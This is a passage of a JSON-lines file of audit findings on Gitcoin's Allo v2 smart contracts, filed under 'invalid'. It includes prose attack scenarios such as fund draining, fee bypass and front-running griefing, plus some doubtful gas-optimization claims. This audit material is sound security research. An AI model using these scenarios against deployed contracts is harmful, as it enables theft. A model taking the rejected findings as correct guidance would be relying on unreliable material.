_createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n```\n## Impact\nUnnecessary loss of funds. This issue can make Allo difficult to integrate with. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485\n## Tool used\n\nManual Review\n\n## Recommendation\nRework the if statement to:\n```solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/876.md"}} +{"title":"an attacker can stop user from receiving a fund","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# an attacker can stop user from receiving a fund\nwhen **_registerRecipient** is called if the recipient have been registered the status of the recipient be changed even if the the recipent status is approved \n## Vulnerability Detail\nwhen **_registerRecipient** is called if the recipient have been registered the status of the recipient be changed even if the the **recipient** status is approved it will be changed to pending so if a user is already approved and called the distribution function to receive a fund an attacker can **frontrun** the transaction and try to register again which the status will be changed to pending so that the distribute function will revert so the attacker can keep doing this to grief users\n## Impact\nstop other from receiving there funds \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L421\n## Tool used\n\nManual Review\n\n## Recommendation\ndont change the status if the status is already approved","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/875.md"}} +{"title":"Missing payable in \"function distribute\" which makes it impossible to operate with native tokens","severity":"info","body":"Little Fuchsia Toad\n\nhigh\n\n# Missing payable in \"function distribute\" which makes it impossible to operate with native tokens\nThe _distribute function is not marked payable. This will make it impossible for the contract to work with native assets and deny recipients from receiving tokens after allocation period.\n \n## Vulnerability Detail\nAfter allocation period, the function _distribute is essential in distributing tokens to recipients, but the function when called externally in the allo contract and also internally in the basestrategy contract is not tagged payable which will make it impossible for the contract to distribute native asset to recipients.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/interfaces/IAllo.sol#L434-L440\n## Impact\nHigh\nFunction will revert and recipients would not be able to receive their tokens after pool allocation\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/interfaces/IAllo.sol#L434-L440\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-465\n\n## Tool used\nManual Review\n\n## Recommendation\nMark _distribute Function as Payable to allow for native assets transfer to recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/871.md"}} +{"title":"Redundant modifier onlyAllo","severity":"info","body":"Dancing Lemonade Stork\n\nmedium\n\n# Redundant modifier onlyAllo\n\nRedundant Usage of onlyAllo Modifier in initialize Function\n\n## Vulnerability Detail\n\nThe function has a modifier **onlyAllo** to ensure that only the **Allo** contract can invoke it. However, the same modifer exists in **__BaseStrategy_init** function.\n\n## Impact\n\nAlthough the redundant modifier doesn't present a direct security risk, it indicates that there might be some unnecessary complexity or misunderstanding in the contract's design. This can lead to maintainability issues, a larger gas cost for deploying or interacting with the contract, and potential confusion for developers.\n\n## Code Snippet\n\n**DonationVotingMerkleDistributionBaseStrategy.sol**\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L256\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRemove the **onlyAllo** modifier from the initialize function to simplify the code and possibly reduce gas costs.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/870.md"}} +{"title":"ETH transfers susceptible to gas griefing / DOS.","severity":"info","body":"Spicy Canvas Gazelle\n\nmedium\n\n# ETH transfers susceptible to gas griefing / DOS.\n\nETH transfers susceptible to gas griefing / DOS.\n\n## Vulnerability Detail\n\nThe contract uses the `safeTransferEth` function from the `SafeTransferLib` library to transfer ETH. As stated in the SafeTransferLib library itself, this function is susceptible to gas griefing / DOS.\n\n```solidity\n/// @dev Sends `amount` (in wei) ETH to `to`.\n/// Reverts upon failure.\n///\n/// Note: This implementation does NOT protect against gas griefing.\n/// Please use `forceSafeTransferETH` for gas griefing protection.\nfunction safeTransferETH(address to, uint256 amount) internal\n```\n\nSo if a pool operates with NATIVE tokens, and a recipient is set to receive tokens from this pool, they can run a very large pool in the receiving address contract's `receive` function to use up all the gas. This will lead to situations where payouts can be delayed or DOSd since admins/managers wont be able to send out funds to users in a for loop, like the ones used in the `_distribute` functions in multiple strategies.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L624-L629\n\n## Impact\n\nDOS due to gas-griefing\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L51\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L76\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L89\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the `forceSafeTransferETH` function on Solady's SafeTransfer library to protect against gas griefing. This function also takes in a `gasStipend` which limits gas griefing attacks.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/869.md"}} +{"title":"Eth in `allo.sol` contract can be stolen","severity":"info","body":"Spicy Canvas Gazelle\n\nmedium\n\n# Eth in `allo.sol` contract can be stolen\n\nEth in `allo.sol` contract can be stolen due to insufficient checks.\n\n## Vulnerability Detail\n\nThe `allo.sol` contract is designed to handle both tokens and ETH to fund different strategies. However users can drain any ETH in the Allo contract in the special case where `baseFee` is set to 0. This vulnerability exists in the `_createPool` function.\n\nIn this function, the contract checks if the message value passed by the user is sufficient to cover the amount charged as fee and to be sent to the strategy.\n\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n}\n```\n\nHowever this check is only done if the baseFee is not zero. If the baseFee is set to 0, these checks are skipped. This means that if the token is NATIVE, the user can draw out more eth than they send to the contract.\n\nAfter the above checks, which are skipped for `baseFee=0`, the contract sends forward the tokens via the `_fundPool` function.\n\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n}\n```\n\nThis function does 2 transfers. One is for the fee, and the other is for the remaining amount. The transfers of eth are handled by the `_transferAmountFrom` function, which is from a library.\n\n```solidity\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n}\n```\n\nAs seen in the implementation above, the function checks `msg.value` against the `amount`, to make sure the user sends enough eth to cover the transfer. So each call of `_transferAmountFrom` does this check. However the functions are called with smaller amounts than what is expected to be sent out of the contract.\n\nAs an example, lets say `percentFee` is 10%, and the amount passed to `_fundPool` is 100 ETH. So `feeAmount` is calculated as 10 ETH, and `amountAfterFee` is 90 ETH. The `_transferAmountFrom` function is called twice, once for the fee, and once for the remaining amount. So the `_transferAmountFrom` will make sure that `msg.value` is more than 10 ETH, and more than 90 ETH. So if the user only sent 91 ETH, the Allo contract will send out the full 100ETH to the strategy, and eat the 9 ETH loss. This is because the total `amount` is never checked against `msg.value` if `baseFee` is 0.\n\n## Impact\n\nAny ETH in Allo.sol contract can be drained out is `baseFee` is set to 0.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck `msg.value` against `_amount` outside of the `baseFee` if statement.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/867.md"}} +{"title":"Use `++i` instead of `i++` to save gas","severity":"info","body":"Custom Juniper Eagle\n\nfalse\n\n# Use `++i` instead of `i++` to save gas\n\nIn some code lines developer is using i++ instead of ++i. This will increase gas amount further.\n\n## Vulnerability Detail\n\nGas Optimization/Informational issue\n\n## Impact\n\nIncrease in Gas amount further.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L224\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L300\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L357\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L627\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L95\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L239\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L224\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse ++i instead of i++ to save gas.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/864.md"}} +{"title":"batchAllocate is Not Payable & Does Not Take msg.value","severity":"info","body":"Precise Ceramic Falcon\n\nmedium\n\n# batchAllocate is Not Payable & Does Not Take msg.value\nThe function `batchAllocate` should allow users to allocate to multiple pools, but is not `payable`. There also exists a function `allocate` which IS `payable`, and both of these functions call the internal `_allocate()`.\n## Vulnerability Detail\nThe issue is that `batchAllocate` is not `payable` and when it calls `_allocate` it will always revert when allocating native `ETH`. There is a dev comment that specifies that \"..it's not payable, so if you want to send funds to the strategy, you must send the funds using `fundPool()`.\" But this is not related to Funding a pool, but to allocating to users.\n## Impact\nComplete redundancy of this function, can be completely deleted, or could be made `payable` to be functioning properly.\n## Code Snippet\n```javascript\nfunction batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n```\n## Tool used\nVSCode\nManual Review\n\n## Recommendation\nEither completely remove the function or make it `payable`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/863.md"}} +{"title":"Missing zero address check on recipient address","severity":"info","body":"Dancing Lemonade Stork\n\nmedium\n\n# Missing zero address check on recipient address\n\nPotential for Unintended Fund Burning in **recoverFunds** Function\n\n## Vulnerability Detail\n\nThe **recoverFunds** function in the provided contract facilitates the recovery of any mistakenly sent funds, be it native Ether or ERC20 tokens. However, there is an oversight in the function, as it lacks a check to prevent the **_recipient** from being the zero address. Sending funds to the zero address is equivalent to burning them, rendering the funds permanently inaccessible.\n\n## Impact\n\nIf an owner mistakenly sets the **_recipient** to the zero address and invokes the **recoverFunds** function, the funds intended for recovery will be irrevocably burned. Depending on the amount of funds involved, this could lead to significant financial losses.\n\n## Code Snippet\n\nAllo.sol\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L283\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo address this vulnerability, it is advised to add a condition at the beginning of the **recoverFunds** function to check if the **_recipient** address is the zero address.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/861.md"}} +{"title":"a malicious user can stop other from receiving there fund","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# a malicious user can stop other from receiving there fund\na malicious user can stop other from receiving there distribution by changing the **recipient.recipientAddress \n## Vulnerability Detail**\nanyone can change **recipient.recipientAddress** by being the member of **recipientid** and when distributing the funds it uses the **merkleroot** to verify the amount and the **recipient.recipientAddress** is not changed if it is changed and it is not if the **merkproof** is not correct it will revert the internal function _distribute which calls **_distributesingle** and in this function it will pass the **amount**, **receipientaddress** to the merkproof to check and if it si false it will revert\n## Impact\nstop other from claiming there funds \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L783\n## Tool used\n\nManual Review\n\n## Recommendation\nstop from updating the recipientaddress twice","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/860.md"}} +{"title":"Potential Denial of Service (DoS) in Strategies due to Underfunded Pool During Distribution.","severity":"info","body":"Scruffy Taupe Orca\n\nmedium\n\n# Potential Denial of Service (DoS) in Strategies due to Underfunded Pool During Distribution.\nPotential Denial of Service (DoS) in Strategies due to Underfunded Pool During Distribution.\n\n## Vulnerability Detail\nIn the all Strategies, the logic for fund distribution calculates each recipient's pay amounts. This approach, although robust in most scenarios, does not factor in situations where the pool might be underfunded. There's no explicit check in all strategies to ensure that the total amount due for all distributions is less than or equal to the actual available funds in the strategies (actual NATIVE tokens or actual ERC20 tokens amount). Additionally, the capability to update pool timestamps and possibly re-enter the allocation phase in `QVBaseStrategy` without adjusting the `poolAmount` further exacerbates this problem.\n\n## Impact\nIf the strategies attempts a distribution when the strategy is underfunded, transactions may fail and revert, essentially leading to a Denial of Service (DoS). This would render the remaining funds in the pool inaccessible. Users who are rightfully expecting a distribution might find themselves unable to access their due, resulting in potential financial losses and undermining trust in the system.\n\n## Code Snippet\n[Distribution in QVBaseStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L465)\n\n[Distribution in DonationVotingMerkleDistributionBaseStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L609-L633)\n\n[Distribution in RFPSimpleStrategy](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450)\n\n## Tool used\nManual Review\n\n## Recommendation\n1. **Sufficient Balance Check:** Before any distribution, implement a function that calculates the total funds required for the distribution and checks it against the actual available amount in strategy.\n2. **Lock During Distribution:** Ensure that once the distribution phase starts, no alterations to the pool's metadata or its state can be made.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/859.md"}} +{"title":"`_transferAmount` function of `Transfer` library doesn't check if enough value has been sent for transfer","severity":"info","body":"Delightful Topaz Penguin\n\nmedium\n\n# `_transferAmount` function of `Transfer` library doesn't check if enough value has been sent for transfer\n`_transferAmount` function of `Transfer` library doesn't check if enough value has been sent for transfer.\n\n## Vulnerability Detail\n`_transferAmount` is an internal function which is transfer an amount of a token to an address. Token can be Native token or anyother ERC20 token. Which doesn't check if `msg.value < amount` and revert with `AMOUNT_MISMATCH()` like the other helper function of same library. This function has been used at many places for transferring tokens\n```solidity\nFile: contracts/core/libraries/Transfer.sol\n function _transferAmount(address _token, address _to, uint256 _amount) internal {\n if (_token == NATIVE) {\n SafeTransferLib.safeTransferETH(_to, _amount);\n } else {\n SafeTransferLib.safeTransfer(_token, _to, _amount);\n }\n }\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/libraries/Transfer.sol#L87\n\nit doesn't check if `msg.value \"Q: Do you expect to use any of the following tokens with non-standard behaviour with the smart contracts?\n> Yes as we support all ERC20 tokens.\"\n\nMilestones are gating mechanisms for paying RFP implementers for work in stages. Milestones are processed sequentially in `RFPSimpleStrategy` contracts (and `RFPCommitteeStrategy`, by inheritance) such that only the next milestone, indicated by the `upcomingMilestone` variable, can be accepted by a pool manager and the associated funds paid to the recipient. The amount distributed to a recipient for a milestone is determined by `amountPercentage` stored for that milestone.\n\nIf a milestone is defined for some action / condition that must be satisfied but there is no associated payment, the milestone's `amountPercentage` is 0. Upon calling `distribute()` to accept this milestone and advance to the next, the pool will attempt to transfer 0 pool tokens to the recipient. If the pool token is [one that reverts on a transfer of amount 0 (e.g. LEND)](https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers), the `upcomingMilestone` variable is not incremented, leaving the contract state stuck at this milestone which can never be surpassed.\n\n## Impact\nPool fails to distribute all funds to the accepted recipient due to a bricked state. A pool manager cannot modify the `upcomingMilestone` variable to skip the problematic milestone. The only workaround is for a pool manager to withdraw the pool funds and perform all remaining distributions manually, abandoning the broken contract entirely.\n\n## Code Snippet\nRelevant part of [`RFPSimpleStrategy._distribute()` function](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417) that transfers funds for a milestone and advances to the next milestone:\n```solidity\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n```\n\n## Tool used\n\nFound by manual review. Verified using [token-tester](https://github.com/bEsPoKeN-tOkEns/token-tester) with [RevertZero](https://github.com/d-xo/weird-erc20/blob/main/src/RevertZero.sol) token.\n\n## Recommendation\nTo resolve this and any other potential instances of the 0-transfer problem, add a check in [Transfer.sol](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Transfer.sol#L28) library functions that skips ERC20 transfers of amount 0.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/846.md"}} +{"title":"Incompatibility With Rebasing Tokens","severity":"info","body":"Precise Ceramic Falcon\n\nhigh\n\n# Incompatibility With Rebasing Tokens\nIf we are using a rebasing token, there will be a difference in the amount accounted in the pool, and the actual amount held by it, whenever the token rebases (mints/burns) in the future.\n## Vulnerability Detail\nIf we have for example deposited 1000e18 rebase tokens, but in the future the amount has rebased to 1200e18, we will only be able to withdraw the 1000e18 since that is the value stored in the `poolAmount`. In that case, the tokens will be stuck in the strategy contract, there is no way to get them out and value is lost.\n## Impact\nValue is lost for strategy pool.\n## Code Snippet\nNot needed\n## Tool used\nVSCode\nManual Review\n## Recommendation\nAdd functionality considering rebasing tokens, or create a whitelist without them included.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/845.md"}} +{"title":"the rejected milestone can still take the milestone funds out","severity":"info","body":"Short Coffee Crab\n\nhigh\n\n# the rejected milestone can still take the milestone funds out\nthe rejected milestone can still withdraw the funds if he is the **upcomingmilestone**\n## Vulnerability Detail\nthe function **rejectMilestone** is used to reject a milestone and the only thing the function do is change the status to rejected and the function **distribution** doesn't check about the status of the milestone so if the rejected milestone is the **upcomingmilestone** he can still withdraw the funds\n## Impact\nloss of fund\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283\n## Tool used\n\nManual Review\n\n## Recommendation\nin the internal function _distribute add a check which insure that the status of the **upcomingmilestone** is not rejected","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/844.md"}} +{"title":"Gas Optimization for revert code lines to require code lines","severity":"info","body":"Custom Juniper Eagle\n\nfalse\n\n# Gas Optimization for revert code lines to require code lines\n\nThere are many revert operations with solady ownable file in codebase which consumes 2300 gas which can be changed with require statement diminishing gas usage without having any effect on the code. \n\n## Vulnerability Detail\n\nFor example: \n- ` if (_strategy == address(0)) revert ZERO_ADDRESS();` can be changed with `require(_strategy != address(0), \"ZERO_ADDRESS\");`\n- `if (_isCloneableStrategy(_strategy)) revert IS_APPROVED_STRATEGY();` can be changed with `require(!isCloneableStrategy(_strategy),IS_APPROVED_STRATEGY)`\n- `if (poolIdLength != _data.length) revert MISMATCH();` with `require(poolIdLength == _data.length, \"Mismatch in pool ID length\");`\n- `if (poolIdLength != _data.length) revert MISMATCH();` with `require(poolIdLength == _data.length, \"Mismatch in pool ID length\");`\n\n## Impact\n\nUsing revert statements and calling functions will consume unreasonably overpriced gas fees than using require statements.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L154\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L157\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L183C7-L185C10\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L242\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L265\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L321\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L341\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L72\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L75\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L81\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThis Gas Optimization Issues are in multiple files with same pattern. Use require statements where there is no necessity of revert statements by calling functions to reduce Gas Optimization","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/843.md"}} +{"title":"missing checks for the token","severity":"info","body":"Special Carmine Wren\n\nmedium\n\n# missing checks for the token\n\na pool can be created with a malicious token \n\n## Vulnerability Detail\n\npool can be create with a malicious token and all of the user can receive a useless token\n\n## Impact\n\nrecipients will get not valuable token\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L174-L197\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nset check for the token that is used","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/840.md"}} +{"title":"Distribution of milestones which are NOT accepted","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# Distribution of milestones which are NOT accepted\nNo check is implemented in `_distribute` to only allow distribution of accepted milestones\n\n## Vulnerability Detail\nIn `RFPSimpleStrategy` contract, In the `_distribute` function, there is no check to prevent from distribution of milestones which are not `ACCEPTED`. Pool manager will be able to distribute milestones with status `REJECTED` and `PENDING`.\n\n## Impact\n`REJECTED` and `PENDING` milestones can be distributed by the pool manager\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417C20-L417C20\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```js\nif (milestone.milestoneStatus != Status.Accepted) {\n revert(\"Cannot distribute\");\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/838.md"}} +{"title":"Not paying the fee during funding","severity":"info","body":"Shambolic Misty Dragon\n\nhigh\n\n# Not paying the fee during funding\nNot paying the fee during funding.\n\n## Vulnerability Detail\nWhen a user wants to fund a pool, he needd to pay a tax, which is sent to the treasury. Let's assume that your `pool.token` is `NATIVE`, `percentFee` is `1e16` and `_amount` is equal to 5eth (which is 5e18 in value). The `feeAmount` will be `0.05e18` and `amountAfterFee` will be `4.95e18`. To transfer the fees, the _transferAmountFrom function is called and the following checks must be passed:\n\n```solidity\nif (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n```\n\n`msg.value < amount` should be less than the fee. In your case, the fees will be `0.05e18` and `4.95e18`. A user can easily bypass these checks by sending just `4.95e18` instead of `5 eth`. So, if he calls the `fundPool` function with `_amount = 5e18` and `msg.value = 4.95e18`, he will not pay the fee.\n\n## Impact\nProtocol will lose money from not paying of fee plus losing of eth from balance of `Allo` contract.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L516\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n //@note fee can be skipped during creating\n uint256 feeAmount;\n uint256 amountAfterFee = _amount; // 5 eth msg.value = 0.05, baseFee = 0,\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token; // NATIVE\n\n if (percentFee > 0) { //note is this bigger than 0 when baseFee > 0\n \n // percentageFee = 1% = 1e16\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n // 5e18 - 0.05e18\n \n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n## Tool used\nManual Review\n\n## 